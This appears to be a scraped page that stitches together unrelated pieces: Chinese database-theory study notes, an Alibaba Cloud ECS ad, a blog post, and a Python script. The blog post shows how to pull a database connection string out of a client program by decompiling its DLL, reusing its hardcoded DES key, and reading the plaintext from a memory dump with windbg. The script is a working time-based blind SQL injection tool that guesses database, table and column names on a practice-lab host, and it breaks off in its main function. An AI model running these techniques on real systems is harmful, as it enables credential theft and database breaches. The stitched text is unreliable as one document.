精华内容
下载资源
问答
  • 数据库系统原理概论 attribute:实体所具有的某一特征 Big Data cloud computing CODASYL DBTG column concurrency:并发 data :描述事物的符号记录,数据的最小存取单位是记录 Data Language/I (DL/I) data marts: ...

    如果对您有帮助的话,请多多点赞和关注我哦,这样我会更有动力生产更优质的内容!如果有疑问和批评指正,也欢迎在评论区给出哦!

    英文名词解释:

    范式
    1NF:关系的每一个分量都不能再分,保证数据的原子性,不能表中有表
    2NF:关系满足1NF且所有非码属性均依赖于于完整的主码(单属性主码必定满足2NF)
    3NF:满足2NF且不存在非码属性依赖于其他非码属性的情况
    BCNF:bc范式,当且仅当关系满足3NF,且所有函数依赖的决定因素都是候选码
    attribute:实体所具有的某一特征,表中的一列
    ad-hoc :即席查询,按用户需求创建,而非写入应用程序中的查询
    Big Data
    BI system :商务智能系统,通过生成评估信息,分析信息,规划信息和控制信息来支持管理决策的系统
    CRUD
    即“创建(Create)、删除(Delete)、 更新(Update)、读取(Read)”(增删改查)取首字母。
    candidate key: 若关系中某一属性的值能唯一地标识一个元组,而其子集不能,则称该属性组为候选码;或在关系中可决定其他所有列的决定因素
    composite key : 包含两列及以上的码成为复合码
    all-key: 最极端的情况下,关系模式的所有属性值是这个关系模式的候选码,称为全码。
    data :描述事物的符号记录,数据的最小存取单位是记录
    database :数据库(database)是可自我描述的(self-describing)集成表(integrated tables)集合。书定义:存放数据的仓库,长期储存在计算机内,有组织的,可共享的大量数据的集合。
    database design (as a process):是指对数据库创建合适的表结构(structure)、合适的表间关系(relationship)、合适的数据约束(data
    constraint)以及其它结构组成。
    database design (as a product)
    database management system (DBMS):DBMS是用于创建、处理、管理数据库的一种庞大、复杂的程序。或者答数据库管理系统是位于用户与操作系统之间的一层数据管理软件,用于科学地组织和存储数据、高效地获取和维护数据。 DBMS 的主要功能包括数据定义功能、数据操纵功能、数据库的运行管理功能、数据库的建立和维护功能。
    database system :由数据库,dbms,应用程序,和数据库管理员组成的存储,管理和维护数据的系统。
    denormalize :逆规范,把规范化后的关系用连接运算恢复成未规范化的一张表的状态的过程
    determinant :决定因素,表示某一或某一组属性的取值可决定其他属性的取值的情况
    delete anomaly: 删除异常,在删除某一行时,丢失了其他不想删除的信息的情况
    domain :域,符合特定数据类型定义的一组数据
    domain integrity constraint :域完整性约束,同一关系下同一列的数据类型应相同
    DK/NF :域码范式,关系不存在任何异常时需要什么条件。
    entity:客观存在并可相互区别的事物或更准确的用户所追踪的某可辨识的事物
    entity set :同一类型实体的集合
    entity type:用实体名及其属性名集合来抽象和刻画同类实体,如 学生(学号,姓名)就是一个实体型。
    entity integrity cinstraint :实体完整性约束,主属性不能取空值
    functional dependency:当关系中一个属性或若干属性确定后,其余的某些属性也能确定;或某一或某一组属性的取值可以决定其他属性的取值的情况。
    foreign key:用于在一张表中引用另一张表的主码数据的码;或由单列或多列复合而成,并在其他某表中以主码形式对应再次出现的码
    instance:模式的一个具体值称为模式的一个实例
    index :一种支持结构,可以加快数据库中数据排序和查找的速度
    integrated tables:集成表,既存储了数据,又存储了数据间关系的表
    insert anomaly :插入异常,想要插入数据,因为表设计的原因,无法成功插入
    key:一列或多列的组合,用于在关系内标识特定的行
    metadata:元数据,描述数据的数据
    multivalued dependency: 多值依赖,出现于决定因素的某一个取值可决定一组特定集合取值的情形
    modification anomaly: 修改异常,插入异常,更新异常,删除异常
    normal forms: 范式,符合某一级别的关系模式的集合
    normalization:一个低一级的范式的关系模式通过模式分解可以转换为若干个高一级范式的关系模式的集合
    nonprime attribute : 非码属性,不包含在任意候选码中的属性
    null value: 空值,不存在,不知道,或无意义的值
    primary key: 表中的某个属性组,它可以惟一确定一个元组;设计数据库时被选中用于检索行的候选码称为主码。
    primary attribute :主属性,包含在任意一个候选码中的属性
    relation :满足一定条件的表
    1.行存储实体
    2.列存储实体的属性
    3.每一行输入的数据类型必须相同
    4.列名不能重复
    5.表中每格只能存放单一数据
    6.列的顺序不重要
    7.行的顺序不重要
    8.不存在两个完全一致的行
    referential integrity constraints: 对外码取值的约束,确保外码中的每个取值均有相应的主码取值进行匹配或为空值。参照完整性约束可以维护表间数据的有效性
    relational model:对关系的描述,一般表示为关系名(属性 1 ,属性 2 , … ,属性 n )
    surrogate key :代理码,人为添加到表中的列,充当主码,由dbms为其赋值,对用户来说无意义。
    schema :逻辑模式,数据逻辑结构和特征的描述,一个数据库只能有一个模式
    external schema: 子模式(subschema),用户模式,数据库用户能够看见和使用的逻辑结构和特征的描述,可以有多个外模式,用户只能看见外模式里面的数据,数据库里面是其余数据不可见。
    internal schame:存储模式,数据物理结构和存储方式的描述,数据在数据库内部的组织方式。
    tuple :表中的一行
    update anomaly :更新异常,想更新某一个数据项,结果要修改多行,还可能出错。
    transitive dependency: 传递依赖,非码属性依赖于其他非码属性

    简答

    关系型数据库如何在表中存数据
    关系型数据库行存储数据的实例,列存储实体的属性,此外关系型数据库存储了表间约束,通过参照完整性约束,建立多表之间的联系。
    应用程序的功能
    充当dbms与用户之间的媒介:
    应用程序处理用户的查询,发送SQL语句至DBMS来读取或者修改数据库当中的数据;把结果展示给用户,以表单或者报表的方式向用户展示数据;执行特定的应用逻辑控制应用。
    1.创建处理表单
    2.处理用户查询
    3.创建处理报表
    4.执行应用程序的逻辑
    5.控制应用本身
    数据库设计的 3 种类型(来源):
    1.利用现有数据的数据库设计(Database from existing data)
    2. 用于新系统开发的数据库设计 ( Database design for new system
    development)
    3.对已有数据库的重设计(Database redesign of an existing database)
    包括:数据迁移,数据集成,利用规范化理论和数据模型转换,进行逆向工程及新数据库的设计
    为什么数据冗余会导致数据的完整性问题
    数据冗余会导致更新异常
    when do you redesign an existing database?
    原有表结构设计不良,存在函数依赖,多值依赖,维护数据库时经常存在插入异常,更新异常,删除异常等数据完整性问题时,可考虑重新设计数据库。
    参照完整性约束的作用和重要性
    参照完整性约束限制了外码取值必须存在于对应主码的取值集合中,建立了主码和外码间的联系,建立了多表之间的联系,确保了表间数据的一致性。
    为什么冗余数据会导致数据的完整性问题
    冗余数据,容易造成多次删除,更新或者删除操作才能对某一数据正常的完成一次操作,即存在插入异常,更新异常,删除异常,容易发生数据的不一致问题。
    为什么关系型数据库用的最多
    关系型数据库的原理容易理解,上手容易,并且很好的解决了数据集成,共享的问题,从而背广泛使用。
    how enterprise-class DBMS products ues SQL
    企业级dbms通过sql语句对数据库进行操作,并提供了创建,处理,管理数据库的功能。企业级dbms有:Microsoft Access ,MySQL ,DB2等
    何时容易遇到多值多列问题
    从非数据库数据创建数据库时容易遇到,如excel表格,txt文件,这些数据通常把多个同类别的数据放在同一行。
    为什么要警惕通用目的备注列
    通用目的备注列存放的信息冗长,口语化,有时会出现数据不一致,同一列数据可能含有不同类别的数据。
    确保数据完整性和数据一致性的区别
    数据完整性问题是说数据冗余容易导致更新异常,而数据一致性问题除了要避免更新异常,还要避免插入和修改异常,故确保数据完整性是确保数据一致性的一部分。
    为什么说个性化冗余表是一种典型的逆规范
    对于高度规范化的多张表,当业务需要经常查询来自多张表的列数据,可以通过连接查询等方法,拷贝数据创建个性化的冗余表。这样做虽然容易导致数据的不一致问题,表的范式级别也有所下降,但查询效率得到了提高,因此是一种典型的逆规范。

    关系模型常用的关系操作包括
    1.查询 2.插入 3.删除 4.修改 后三个为一组
    查询是关系操作最主要的部分,选择,投影project,并union,差except,笛卡尔积是五种基本操作。
    数据库如何管理多表
    1.数据库通过行存储实体,列存储实体的特征
    2.通过外码和主码之间的参照完整性约束,建立表间联系,管理多张表
    什么样的情况下不用移除多值依赖
    1.只读数据库
    2.更新频率极低的数据库
    几乎不会出现修改异常,规范化会导致查询的sql语句很复杂,并且会增加dbms的开销
    dbms如何控制并发
    dbms通过确保单一用户对数据库的操作不会影响其他用户,来进行并发控制,即无论是一个人还是多人合作使用dbms,都能得到一致的符合预期的处理结果。
    数据库目的:
    数据库(database)的目的是帮助人们跟踪了解客观事物(keep track on things)
    数据库存在的真正目的
    存储不能用等式表示的函数依赖实体

    数据库特点
    1.数据结构化
    2.数据的共享度高,冗余度低且易扩充
    3.数据独立性高
    4.数据由数据库系统统一管理和控制
    数据模型包括?
    数据结构,数据操作和数据的完整性约束三部分组成。
    数据结构:描述数据库的组成对象以及和对象之间的联系,对系统静态特征的描述
    数据操作:对数据各种对象的实例允许执行的操作的集合,包括操作和有关的操作规则,对系统动态特性的描述。
    数据的完整性约束条件:是一组完整性规则,用以限定符合数据模型的数据库状态以及状态的变化,保证数据的正确,有效,相容(可以些四个完整性约束)
    两类数据模型
    概念模型:信息模型,按用户的观点对数据进行信息建模,主要用于数据库设计。从现实世界到机器世界。
    逻辑模型和物理模型

    数据库常用逻辑模型
    1.层次模型:hierarchical model
    2.网状模型:metwork model
    3.关系模型:relational model
    4.面向对象数据模型:object oriented data model
    数据库的完整性: 正确性和相容性(compat-ability)
    数据库约束
    1.域完整性约束:列的取值
    2.实体完整性约束:主码取值不能同
    3.参照完整性约束:外码取值

    关系模型的完整性约束包括三大类关系模型的完整性规则是对关系的某种约束条件
    1.实体完整性 entity integrity 若属性A是基本关系R的主属性,则A不能取空值,所谓空值就是不知道,不存在或无意义的值。
    2.参照完整性 referential integrity (实体和参照是最重要的完整性约束)
    3.用户定义的完整性 user-defined integrity
    Explain the role of referential integrity constraints in normalization.
    以确保数据库中存储的数据正确、有效、相容。
    三级模式两级映像与数据独立性
    两层映像保证了数据库系统中的数据具有较高的逻辑独立性和物理独立性
    1.外模式/模式映像
    模式:数据全局逻辑;外模式:数据局部逻辑;一个模式可以有多个外模式。对于每一个外模式,dbs都有一个外模式/模式映像,它定义了该外模式与模式之间的对应关系。
    当模式改变时(例如增加新的关系,新的属性,改变数据的数据类型等),由数据库管理员对各个外模式/模式的映像作相应改变,可以使外模式不变,应用程序是依据数据的外模式编写的,从而使应用程序不必修改,保证了数据与程序的逻辑独立性,简称数据的逻辑独立性。
    2.模式/内模式映像
    数据库只有一个模式,一个外模式,所以模式/内模式映像是唯一的,定义了数据全局逻辑结构与存储结构的对应关系。
    当数据库的存储结构改变时,例如选用另一种存储结构,由数据库管理员对模式/内模式映像作相应改变,可以使模式保持不变,从而应用程序也不必改变,保证了数据与程序的物理独立性,简称数据库的物理独立性

    文件系统与数据库系统的区别是 :文件系统面向某一应用程序,共享性差,冗余度大,数据独立性差,记录内有结构,整体无结构,由应用程序自己控制。数据库系统面向现实世界,共享性高,冗余度小,具有较高的物理独立性和一定的逻辑独立性,整体结构化,用数据模型描述,由数据库管理系统提供数据的安全性、完整性、并发控制和恢复能力。 
    文件系统与数据库系统的联系是 :文件系统与数据库系统都是计算机系统中管理数据的软件。解析文件系统是操作系统的重要组成部分;而 DBMS 是独立于操作系统的软件。但是 DBMS 是在操作系统的基础上实现的;数据库中数据的组织和存储是通过操作系统中的文件系统来实现的。

    域完整性的重要性
    1.域完整性是针对某一具体关系数据库的约束条件,保证表中某些列不能输入无效的值
    2.域完整性指列的值域的完整性,如数据类型,格式,值域范围,是否允许空值等。
    3.域完整性限制了某些属性中出现的值,如把属性限制在一个有限的集合中,例如如果属性类型是指整数,那么他就不能是101.5。

    Under what conditions will a determinant be unique in a relation?
    这个决定因素可以决定其他所有列
    规范化理论可以分为三大类
    1.函数依赖 1NF,2NF,3NF,BCNF
    2.多值依赖 4NF
    3.数据约束以及其他未知问题
    What is the best test for determining whether a determinant is unique?
    最好的策略是考虑产生数据的业务活动的性质,并询问用户

    引入数据库后计算机系统的层次结构:
    硬件 -os-数据库管理系统-应用开发工具-应用系统
    数据处理的核心问题:数据管理

    数据库管理系统的主要功能有哪些
    ( l )数据库定义功能; ( 2 )数据存取功能; ( 3 )数据库运行管理; ( 4 )数据库的建立和维护功能。
    实体之间的联系: 通常是指不同实体型的实体集之间的联系,实体之间的联系有一对一,一对多和多对多等多种类型。

    试述关系模型的概念,定义并解释以下术语: ( l )关系( 2 )属性( 3 )域( 4 )元组 ( 5 )主码( 6 )分量( 7 )关系模式
    答: 关系模型由关系数据结构、关系操作集合和关系完整性约束三部分组成。在用户观点下,关系模型中数据的逻辑结构是一张二维表,它由行和列组成。 ( l )关系:一个关系对应通常说的一张表; ( 2 )属性:表中的一列即为一个属性; ( 3 )域:属性的取值范围; ( 4 )元组:表中的一
    行即为一个元组; ( 5 )主码:表中的某个属性组,它可以惟一确定一个元组; ( 6 )分量:元组中的一个属性值; ( 7 )关系模式:对关系的描述,一般表示为关系名(属性 1 ,属性 2 , … ,属性 n )
    DDL DML
    DDL :数据定义语言,用来定义数据库模式、外模式、内模式的语言。 DML :数据操纵语言,用来对数据库中的数据进行查询、插入、删除和修改的语句。
    关系模型:关系模型要求关系是规范化的,必须满足一定的规范条件,最基本的一条,关系的每一个分量必须是一个不可分的数据项。

    关系的特点
    1.行存储实体
    2.列存储实体的属性
    3.每一列输入的数据类型必须相同
    4.列名不能重复
    5.表中每格只能存放单一数据
    6.列的顺序不重要
    7.行的顺序不重要
    8.不存在两个完全一致的行
    凡是关系必是表,并非所有的表都是关系,满足这些的表才是关系

    规范化的利与弊
    优点
    1.规范化消除了修改异常
    2.规范化减少了数据冗余(Reduce duplicated data)
    为什么说减少而不是消除数据冗余 :因为有时外键存在重复值,所以重复值的情况不能完全消除。
    为什么减少数据冗余,就能消除数据不一致导致的完整性问题
    因为参照完整性约束禁止了数据不一致的情况发生,所以外码存在重复值也不会造成不一致问题,即只要参照完整性约束有效,重复外码值就不会造成数据不一致。
    缺点:
    1.处理规范化的表,需要应用程序编写更复杂的SQL语句,必须编写子查询或连接查询将存储于多表里打散的数据复原
    2.对于规范化的数据,DBMS需要读取两张以上的表降低了应用处理的速度
    逆规范的优点
    1.从可更新数据库向只读数据库放入数据时,节省了程序员给每个应用编写join语句的时间;
    2.避免了每次用户运行查询或创建报表时,都要执行连接查询和子查询的情况,减少DBMS开销

    数据库建设的基本规律 :三分技术,七分管理,十二分基础数据,十二分基础数据强调了数据的收集,整理,组织和不断更新是数据库建设中的重要环节

    电子商务公司最大的数据库的目的 :
    1.记录顾客的浏览行为
    2.在db中进行数据分析,挖掘,通过用户需求来个性化推荐从而实现利益最大化。
    数据库重新设计的方式 :
    1.数据迁移
    2.数据合并
    3.规范化理论,数据模型转换,进行逆向工程
    面向对象数据库为什么不行
    1.数据量太大不易存储
    2.相比于关系型数据库,面向对象的数据库没有显著的优势

    armstrong公理系统:armstrong axiom
    设U为属性集总体,F是U上的一组函数依赖于是有关系模式R<U,F>,对R<U,F>来说有以下的推理规则:
    1.自反律:reflexivity rule: 若Y包含于X,X包含于U,则X->Y为F所蕴含。
    2.增广律:augmentation rule:若 X->Y为F所蕴含,且Z包含于U,则XZ->YZ为F所蕴含。
    3.传递律:transitivity rule:若X->Y及Y->Z为F所蕴含,则X->Z为F所蕴含

    X->Y,但Y不 ⊆ \subseteq X,则称X->Y是非平凡的函数依赖,若Y ⊆ \subseteq X,则称X->Y是平凡的函数依赖。

    What were the early objections to the relational model?(最早的关系模型的反对是什么)
    (1) 理论性太强,无法实际实施
    (2) 速度太慢,以及
    (3) 需要太多存储空间,以至于该模型在商业世界中永远不会有用
    object

    == Explain why duplicated data lead to data integrity problems.(解释为什么重复数据导致数据库完整性的问题)==
    Any table that has duplicated data is susceptible to update anomalies.
    任何有重复数据的表容易出现更新异常

    SQL背景
    20世纪70年代,SQL由IBM公司研发诞生

    数据库完整性和安全性
    数据库的完整性是为了防止数据库存在不合语义的数据,防止错误信息的输入输出所造成的无效操作和错误结果,安全性是防范对数据库的恶意破坏和非法存取。

    事务
    1、定义
    事务,一般是指要做的或所做的事情。在计算机术语中是指访问并可能更新数据库中各种数据项的一个程序执行单元(unit)。
    2、特性
    事务应该具有4个属性:原子性、一致性、隔离性、持久性。这四个属性通常称为ACID特性。
    原子性(atomicity)。一个事务是一个不可分割的工作单位,事务中包括的诸操作要么都做,要么都不做。
    一致性(consistency)。事务必须是使数据库从一个一致性状态变到另一个一致性状态。一致性与原子性是密切相关的。
    隔离性(isolation)。一个事务的执行不能被其他事务干扰。即一个事务内部的操作及使用的数据对并发的其他事务是隔离的,并发执行的各个事务之间不能互相干扰。
    持久性(durability)。持久性也称永久性(permanence),指一个事务一旦提交,它对数据库中数据的改变就应该是永久性的。接下来的其他操作或故障不应该对其有任何影响。

    视图和表的异同
    1.视图和表都是关系,都可在查询中直接应用
    2.db中存储表的模式定义和数据
    3.db中只存视图的定义,不存视图的数据
    4.视图数据在使用视图时临时计算

    数据库安全 :授权:授予与收回
    1.如果指定 WITH GRANT OPTION ,则获得某种权限的用户还可以把这种权限再授予给其他用户,如果没有指定,则不能传播
    2.不允许循环授权
    3.eg:把查询表的权限给U1
    GRANT SELECT
    ON TABLE Student
    TO U1;
    把对Student表和Course表的全部操作给U1,U2
    GRANT ALL PRIVILEGES
    ON TABLE Student,Course
    TO U1,U2;
    把对表SC的查询权限授予所有用户
    GRANT SELECT
    ON TABLE SC
    TO PUBLIC;
    把查询Student表和修改学生学号的权限授予U4
    GRANT UPDATE(Sno),SELECT
    ON TABLE Student
    TO U4;
    如果在所有的后面加WITH GRANT OPTION
    那么就可以把权限给其他用户
    REVOKE UPDATE(Sno)
    ON TABLE Student
    FROM U4;
    REVOKE SELECT
    ON TABLE SC
    FROM PUBLIC
    集合论角度给出关系的形式化定义 :
    在这里插入图片描述

    为什么数据库是自我描述的 :
    因为数据库存有元数据,用于描述自身的数据

    决定因素需要唯一吗?
    不需要,在关系中,决定因素唯一,当且仅当决定因素可决定关系中其他所有的列,但是不能决定所有列也有可能唯一哦。

    总结使用数据库技术的不同方式
    1.给用户提供查询接口
    2.利用sql查询db中数据
    3.使用应用程序来操作数据

    展开全文
  • mysql数据库实例查询云服务器(Elastic Compute Service,简称ECS)是阿里云提供的性能卓越、稳定可靠、弹性扩展的IaaS(Infrastructure as a Service)级别云计算服务。云服务器ECS免去了您采购IT硬件的前期准备,让...

    dc25a6aed567a1f78fbd189afc43525a.png

    mysql数据库实例名查询

    云服务器(Elastic Compute Service,简称ECS)是阿里云提供的性能卓越、稳定可靠、弹性扩展的IaaS(Infrastructure as a Service)级别云计算服务。云服务器ECS免去了您采购IT硬件的前期准备,让您像使用水、电、天然气等公共资源一样便捷、高效地使用服务器,实现计算资源的即开即用和弹性伸缩。阿里云ECS持续提供创新型服务器,解决多种业务需求,助力您的业务发展。

    选择云服务器ECS,您可以轻松构建具有以下优势的计算资源:

    无需自建机房,无需采购以及配置硬件设施。

    分钟级交付,快速部署,缩短应用上线周期。

    快速接入部署在全球范围内的数据中心和BGP机房。

    成本透明,按需使用,支持根据业务波动随时扩展和释放资源。

    提供GPU和FPGA等异构计算服务器、弹性裸金属服务器以及通用的x86架构服务器。

    支持通过内网访问其他阿里云服务,形成丰富的行业解决方案,降低公网流量成本。

    提供虚拟防火墙、角色权限控制、内网隔离、防病毒攻击及流量监控等多重安全方案。

    提供性能监控框架和主动运维体系。

    提供行业通用标准API,提高易用性和适用性。

    有关云服务器ECS的更多信息,参见 云服务器ECS帮助文档。

    展开全文
  • 前几天在调试物联柜终端上的一个bug时发现 app.config 中的数据库连接串是加密的,因为调试中要切换数据库,我需要将密文放到专门的小工具上解密,改完连接串上的数据库名,还得再加密贴到 app.config 中,烦的要死...

    一:背景

    1. 讲故事

    前几天在调试物联柜终端上的一个bug时发现 app.config 中的数据库连接串是加密的,因为调试中要切换数据库,我需要将密文放到专门的小工具上解密,改完连接串上的数据库名,还得再加密贴到 app.config 中,烦的要死,内容如下:

      <appSettings>
        <!-- 数据库连接字符串 -->
        <add key="OLEDBConnStr" value="XfES27am6Muw48iB1GlMVqvUbq7/Pp9n4XbZJsDu19YDr/Zdb3m7KT6haD7f9HLj/ZEvIiZbmSU4O5L9g03Y5IUB6KLCZI7s3nDLwTIC+bXLf5quu/r8ZAI+rgNnsNZdwoDfquRLQy5Cf2X8/MFDOcMNaZYMpTYeHsZoEERU/TP9t3n5QllJTihrmDFbiGHLqe1kfN3uB3g1kgs0oobIEfNPr09kQ/pFgzZi/kZCrK10PLZZ0pFj1YU5ReFqBsdBlecV3D2Zl3lx1Ibls24t7w==" />
      </appSettings>
    

    改完bug之后,我就想这玩意能防的了谁呢?私以为搞这么麻烦也就防防君子,像我这样的 晓人,加不加密都是等于没加密,照样给你脱库。。。😄😄😄

    二:使用 ILSpy 去脱库

    1. 从DAL/Repository层去反编译代码

    要想得到明文的数据库连接串,可以从代码中反推,比如从 DAL 或者 Repository 中找连接串字段 ConnectionString,我这边的终端程序是用 wpf 写的,采用的是经典的三层架构,所以在 bin 下可以轻松找到,如下图:

    图片

    接下来用 ILSPy 反编译这个 dll。

    图片

    从上图中可以看出,连接串的明文是存放在: OleDbHelper.ConnectionString 中的,然后可以看到,程序中定义了一个 Decrypt 方法专门用来解密连接串,哈哈,有了这个算法,是不是就可以脱库啦???如下代码所示:

        class Program
        {
            static void Main(string[] args)
            {
                var str = "XfES27am6Muw48iB1GlMVqvUbq7/Pp9n4XbZJsDu19YDr/Zdb3m7KT6haD7f9HLj/ZEvIiZbmSU4O5L9g03Y5IUB6KLCZI7s3nDLwTIC+bXLf5quu/r8ZAI+rgNnsNZdwoDfquRLQy5Cf2X8/MFDOcMNaZYMpTYeHsZoEERU/TP9t3n5QllJTihrmDFbiGHLqe1kfN3uB3g1kgs0oobIEfNPr09kQ/pFgzZi/kZCrK10PLZZ0pFj1YU5ReFqBsdBlecV3D2Zl3lx1Ibls24t7w==";
    
                Console.WriteLine(Decrypt(str));
            }
    
            public static string Decrypt(string str)
            {
                if (!string.IsNullOrEmpty(str))
                {
                    DESCryptoServiceProvider descsp = new DESCryptoServiceProvider();
                    byte[] key = Encoding.Unicode.GetBytes("Oyea");
                    byte[] data = Convert.FromBase64String(str);
                    MemoryStream MStream = new MemoryStream();
                    CryptoStream CStream = new CryptoStream(MStream, descsp.CreateDecryptor(key, key), CryptoStreamMode.Write);
                    CStream.Write(data, 0, data.Length);
                    CStream.FlushFinalBlock();
                    return Encoding.Unicode.GetString(MStream.ToArray());
                }
                return "";
            }
        }
    

    图片

    不过还好,数据库也是在客户那边独立部署的,不存在走外网的情况,不然就玩大了。。。接下来我们来看看如何去防范。

    2. 加壳/混淆/加密狗

    现在市面上商业版和免费版都提供了给C#代码进行加密和混淆,不过我没用过,我想最多在反编译代码后阅读性上增加了一些障碍,这也不过是时间问题罢了,毕竟SqlConnection,SqlCommand 这些FCL的类你是没法混淆的,我从这些类上反推可以很轻松的就能找到明文的 ConnectionString ,所以这条路我觉得是走不通的。

    3. 将解密算法放在 server 端

    既然 解密算法 埋在客户端你都能挖出来,那把它放在 server 端不就可以啦?在程序启动的时候,调用一下 webapi 进行解密,这样你总没辙了吧 ???哈哈,大家可以开动脑子想一想,这种方法可行不可行?诚然,解密算法搬走了,再用 ILSpy 去挖已经没有任何意义了,但这里有一个重要突破点,不管是用什么形式解密的,最后的连接串明文都是存放在 OleDbHelper.ConnectionString 这个静态变量中,对吧!接下来的问题就是有没有办法把进程中的这个静态变量给挖出来?你说的对,就是抓程序的 dump文件 用 windbg 去挖。

    三:使用 windbg 去脱库

    1. 思路

    要想挖出 OleDbHelper.ConnectionString,其实也很简单,在 CLR via C# 第四章中关于对象类型和类型对象的解读有这么一张图,很经典。

    图片

    从上图中可以看到,静态字段是在 Manager 类型对象 中,实例字段都是在 Manager 对象 中,对照这张图,我只需要通过 windbg 找到 OleDbHelper 类型对象,也就是所谓的 EEClass

    2. windbg 挖矿实战

    • 使用 !name2ee 找到 Decrypt 方法描述符(MethodDesc)

    0:000>  !name2ee xxx.Utilities.dll xxx.Utilities.Database.OleDbHelper.Decrypt
    Module:      08ed7cdc
    Assembly:    xxx.Utilities.dll
    Token:       060002aa
    MethodDesc:  08ed83b0
    Name:        xxx.Utilities.Database.OleDbHelper.Decrypt(System.String)
    JITTED Code Address: 048b6af0
    

    上面的 MethodDesc: 08ed83b0 就是方法描述符的地址。

    • 使用 !dumpmd 导出方法描述符的详细信息,找到 OleDbHelper类型对象 的 EEClass 地址

    0:000> !dumpmd 08ed83b0
    Method Name:  xxx.Utilities.Database.OleDbHelper.Decrypt(System.String)
    Class:        08ecab30
    MethodTable:  08ed8468
    mdToken:      060002aa
    Module:       08ed7cdc
    IsJitted:     yes
    CodeAddr:     048b6af0
    Transparency: Critical
    

    上面的 Class: 08ecab30 就是 OleDbHelper类型对象 在堆上的内存地址。

    • 使用 !dumpclass 导出 Class: 08ecab30 ,从而找到 OleDbHelper类的静态字段

    0:000> !dumpclass 08ecab30
    Class Name:      xxx.Utilities.Database.OleDbHelper
    mdToken:         02000033
    File:            D:\code\A18001\Source\Main\TunnelClient\bin\Debug\xxx.Utilities.dll
    Parent Class:    795115b0
    Module:          08ed7cdc
    Method Table:    08ed8468
    Vtable Slots:    4
    Total Method Slots:  6
    Class Attributes:    100081  Abstract,
    Transparency:        Critical
    NumInstanceFields:   0
    NumStaticFields:     2
          MT    Field   Offset                 Type VT     Attr    Value Name
    799bfd60  4000152       74        System.String  0   static 04c28270 ConnectionString
    799bfd60  4000153       78        System.String  0   static 04c299e8 SecurityConnectionString
    

    从上面导出信息中可以看到 OleDbHelper类中 有两个静态字段: ConnectionString 和 SecurityConnectionString

    • 使用 !do 打印出两个静态字段

    图片

    看到没有,上图中的两个紫色框框就是明文的 ConnectionString 哈,怎么样?🐂不🐂。

    四:总结

    当认识到上面的两种脱库方式,你应该就能想到,其实你在程序中连接数据库,这本身就是一种错,操作系统都能给你盗版,何况你这区区一个小软件?个人觉得完全杜绝的方式那应该就是:灭掉本地的sqlserver,让所有的数据获取都由远端的 webapi 提供,当然这又是在脱离业务聊技术啦!😄😄😄

    展开全文
  • 解数据库(MYSQL)信息

    2021-02-02 17:30:55
    150 # 151 ################################################################# 152 if __name__=="__main__":153 #猜解数据库名的长度 154 length = getLength(10)155 #猜解数据库名 156 database =getName(length...

    1 importrequests2

    3 #################################################################

    4 #http://43.247.91.228:84/Less-1是靶场地址

    5 #################################################################

    6

    7 url1 = "http://43.247.91.228:84/Less-1/?id=1' and if \8 (length(database())={_}, sleep(3), 0) --+"

    9

    10 url2 = "http://43.247.91.228:84/Less-1/?id=1' and if \11 (ascii(substr(database(),{_},1))={__}, sleep(3), 0) --+"

    12

    13 url3 = "http://43.247.91.228:84/Less-1/?id=1' and if \14 ((select count(*) from information_schema.tables \15 where table_schema={_})={__}, sleep(3), 0) --+"

    16

    17 url4 = "http://43.247.91.228:84/Less-1/?id=1' and if \18 ((ascii(substr((select group_concat(table_name) from \19 information_schema.tables where table_schema={_}), \20 {__},1)))={___}, sleep(3), 0) --+"

    21

    22 url5 = "http://43.247.91.228:84/Less-1/?id=1' and if \23 (ascii(substr((select group_concat(COLUMN_NAME) from \24 information_schema.COLUMNS where table_name = {_}), \25 {__}, 1))={___}, sleep(3), 0) --+"

    26

    27 #################################################################

    28 #函数功能:猜解数据库名的长度

    29 #参数意义:n 长度范围

    30 #返回结果:成功:数据库名长度

    31 #失败:0

    32 #################################################################

    33 defgetLength(n):34 for i in range(1, n + 1):35 payload = url1.format( _ =i)36 print(payload)37 ans =requests.get(payload)38 #响应时间大于等于3秒说明猜解正确

    39 if (ans.elapsed.seconds >= 3):40 return(i)41 break

    42 else:43 continue

    44 return(0)45

    46

    47

    48 #################################################################

    49 #函数功能:猜解数据库名

    50 #参数意义:length 数据库名的长度

    51 #返回结果:成功:数据库名字符串

    52 #失败:空字符串

    53 #################################################################

    54 defgetName(length):55 database = "" #数据库名初始化为空字符串

    56 for i in range(1, length + 1):57 for j in range(1, 128):58 payload = url2.format( _ = i, __ =j)59 print(payload)60 ans =requests.get(payload)61 #响应时间大于等于3秒说明猜解正确

    62 if (ans.elapsed.seconds >= 3):63 database +=chr(j)64 break

    65 else:66 continue

    67 return(database)68

    69

    70 #################################################################

    71 #函数功能:猜解数据库中表的数量

    72 #参数意义:database 数据库名

    73 #n 表的数量范围

    74 #返回结果:成功:表的数量

    75 #失败:0

    76 #################################################################

    77 defgetTablesNum(database, n):78 for i in range(1, n + 1):79 payload = url3.format( _ = "'"+ database + "'", __ =i)80 print(payload)81 ans =requests.get(payload)82 if (ans.elapsed.seconds >= 3):83 return(i)84 break

    85 else:86 continue

    87 return(0)88

    89 #################################################################

    90 #函数功能:猜解表名

    91 #参数意义:database 数据库名

    92 #nameLengthTotal 所有表名的字符数及

    93 #逗号分隔符数之和(

    94 #表名之间用逗号分隔)

    95 #返回结果:所有表名的list数组

    96 #################################################################

    97 defgetTablesName(database, nameLengthTotal):98 tables =[]99 table = ""

    100 for i in range(1, nameLengthTotal + 1):101 for j in range(1, 128):102 payload = url4.format( _ = "'"+ database + "'",103 __ = i, ___ =j)104 print(payload)105 ans =requests.get(payload)106 if (ans.elapsed.seconds >= 3):107 table +=chr(j)108 break

    109 else:110 continue

    111 tb = table.split(",")112 for t intb:113 tables.append(t)114 return(tables)115

    116

    117

    118 #################################################################

    119 #函数功能:猜解某个表的字段名

    120 #参数意义:table 表名

    121 #attributeLengthTotal 全部字段名的字符数及用于分

    122 #割的逗号数之和(字段名之间

    123 #用逗号分割)的范围

    124 #返回结果:字段名字符串list数组

    125 #################################################################

    126 defgetTableAttributes(table, attributeLengthTotal):127 attributes =[]128 attribute = ""

    129 for i in range(1, attributeLengthTotal + 1):130 for j in range(1, 128):131 payload = url4.format( _ = "'"+ table + "'",132 __ = i, ___ =j)133 print(payload)134 ans =requests.get(payload)135 if (ans.elapsed.seconds >= 3):136 attribute +=chr(j)137 break

    138 else:139 continue

    140 ab = attribute.split(",")141 for a inab:142 attributes.append(a)143 returnattributes144

    145

    146

    147 #################################################################

    148 #

    149 #主函数

    150 #

    151 #################################################################

    152 if __name__=="__main__":153 #猜解数据库名的长度

    154 length = getLength(10)155 #猜解数据库名

